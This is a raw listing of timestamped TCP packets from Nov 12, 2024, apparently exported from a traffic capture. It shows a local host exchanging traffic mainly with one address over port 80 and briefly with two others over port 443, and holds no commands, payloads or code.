Nov 12, 2024 06:23:35.825949907 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.825958967 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.825983047 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.826004028 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.826004028 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.826029062 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.826033115 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.826049089 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.826067924 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.826076031 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.826082945 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.826082945 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.826086044 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.826105118 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.826105118 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.826126099 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.826138020 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.826148987 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.826149940 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.826169968 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.826198101 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.826216936 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.826225996 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.826240063 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.826248884 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.826298952 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.826308012 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.826317072 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.826320887 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.826328039 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.826333046 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.826339960 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.826349974 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.826356888 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.826380968 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.826385021 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.826385021 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.826390982 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.826428890 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.826428890 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.826462030 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.826472044 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.826489925 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.826498985 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.826504946 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.826508999 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.826527119 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.826539993 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.826550007 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.826559067 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.826559067 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.826575994 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.826581001 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.826597929 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.826628923 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.826647043 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.826798916 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.872044086 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.872055054 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.872068882 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.872097015 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.872104883 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.872111082 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.872116089 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.872116089 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.872143030 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.872153044 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.872159004 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.872163057 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.872169971 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.872239113 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.894692898 CET	443	54542	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.894750118 CET	443	54542	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.894840956 CET	54542	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.894961119 CET	54542	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.894961119 CET	54542	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.894980907 CET	443	54542	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.894990921 CET	443	54542	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.897867918 CET	54558	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.897907972 CET	443	54558	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.898122072 CET	54558	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.898122072 CET	54558	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.898147106 CET	443	54558	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.939224005 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.939249039 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.939265013 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.939271927 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.939282894 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.939300060 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.939340115 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.939598083 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.939637899 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.939646959 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.939656019 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.939694881 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.939721107 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.939730883 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.939740896 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.939750910 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.939760923 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.939795017 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.939795017 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.939968109 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.939987898 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.939996958 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.940054893 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.940054893 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.940073967 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.940083981 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.940094948 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.940104961 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.940115929 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.940120935 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.940171957 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.940191984 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.940228939 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.940241098 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.940249920 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.940256119 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.940298080 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.940298080 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.940330029 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.940337896 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.940344095 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.940346003 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.940349102 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.940426111 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.940435886 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.940443993 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.940445900 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.940459013 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.940475941 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.940475941 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.940476894 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.940493107 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.940500021 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.940502882 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.940515041 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.940517902 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.940573931 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.940576077 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.940612078 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.940622091 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.940640926 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.940660000 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.940685034 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.940701008 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.940701962 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.940713882 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.940722942 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.940722942 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.940738916 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.940798998 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.940809011 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.940851927 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.940908909 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.940918922 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.940928936 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.940939903 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.940943956 CET	443	54545	18.244.18.38	192.168.2.5
Nov 12, 2024 06:23:35.940949917 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.940957069 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.940969944 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.940982103 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.940996885 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.941001892 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.941005945 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.941014051 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.941023111 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.941028118 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.941037893 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.941045046 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.941049099 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.941056967 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.941062927 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.941073895 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.941085100 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.941096067 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.941097021 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.941097021 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.941175938 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.941301107 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.941323996 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.941333055 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.941349983 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.941360950 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.941365957 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.941374063 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.941385031 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.941385031 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.941430092 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.941514015 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.941541910 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.941553116 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.941600084 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.941605091 CET	54545	443	192.168.2.5	18.244.18.38
Nov 12, 2024 06:23:35.941610098 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.941621065 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.941631079 CET	443	54545	18.244.18.38	192.168.2.5
Nov 12, 2024 06:23:35.941631079 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.941715002 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.941735029 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.941766024 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.941776991 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.941787958 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.941823006 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.941833973 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.941843987 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.941844940 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.941884041 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.941884041 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.942075014 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.942085981 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.942087889 CET	443	54547	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.942102909 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.942112923 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.942123890 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.942133904 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.942138910 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.942166090 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.942226887 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.942235947 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.942239046 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.942251921 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.942266941 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.942287922 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.942298889 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.942311049 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.942321062 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.942362070 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.942428112 CET	54547	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.942437887 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.942454100 CET	443	54547	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.942495108 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.942504883 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.942517996 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.942532063 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.942540884 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.942542076 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.942550898 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.942581892 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.942581892 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.942606926 CET	443	54545	18.244.18.38	192.168.2.5
Nov 12, 2024 06:23:35.942699909 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.942718029 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.942719936 CET	54545	443	192.168.2.5	18.244.18.38
Nov 12, 2024 06:23:35.942820072 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.943078995 CET	54547	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.943092108 CET	443	54547	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.943914890 CET	54545	443	192.168.2.5	18.244.18.38
Nov 12, 2024 06:23:35.943974972 CET	443	54545	18.244.18.38	192.168.2.5
Nov 12, 2024 06:23:35.944149971 CET	54545	443	192.168.2.5	18.244.18.38
Nov 12, 2024 06:23:35.984868050 CET	54545	443	192.168.2.5	18.244.18.38
Nov 12, 2024 06:23:35.984894037 CET	443	54545	18.244.18.38	192.168.2.5
Nov 12, 2024 06:23:35.986576080 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.986589909 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.986677885 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.986677885 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.986984968 CET	443	54548	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.987204075 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.987224102 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.987240076 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.987293959 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.987301111 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.987301111 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.987303972 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.987320900 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.987333059 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.987337112 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.987344027 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.987348080 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.987404108 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.988562107 CET	54548	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.988574982 CET	443	54548	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.989619017 CET	54548	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.989624977 CET	443	54548	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.015558958 CET	443	54549	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.015775919 CET	443	54550	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.016109943 CET	54549	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.016125917 CET	443	54549	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.016377926 CET	54550	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.016391993 CET	443	54550	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.016601086 CET	54549	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.016606092 CET	443	54549	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.016902924 CET	54550	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.016906977 CET	443	54550	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.031673908 CET	54545	443	192.168.2.5	18.244.18.38
Nov 12, 2024 06:23:36.034557104 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.034609079 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.034611940 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.034621954 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.034631968 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.034650087 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.034681082 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.054963112 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.054995060 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.055005074 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.055042028 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.055058956 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.055075884 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.055088043 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.055098057 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.055105925 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.055109024 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.055133104 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.055157900 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.055159092 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.055200100 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.055315971 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.055325985 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.055337906 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.055356979 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.055383921 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.055383921 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.055394888 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.055406094 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.055424929 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.055450916 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.055453062 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.055461884 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.055471897 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.055493116 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.055501938 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.055522919 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.055535078 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.055557013 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.055567026 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.055583000 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.055612087 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.055613995 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.055627108 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.055640936 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.055644989 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.055655003 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.055659056 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.055665016 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.055675030 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.055680037 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.055687904 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.055700064 CET	80	49779	185.215.113.206	192.168.2.5
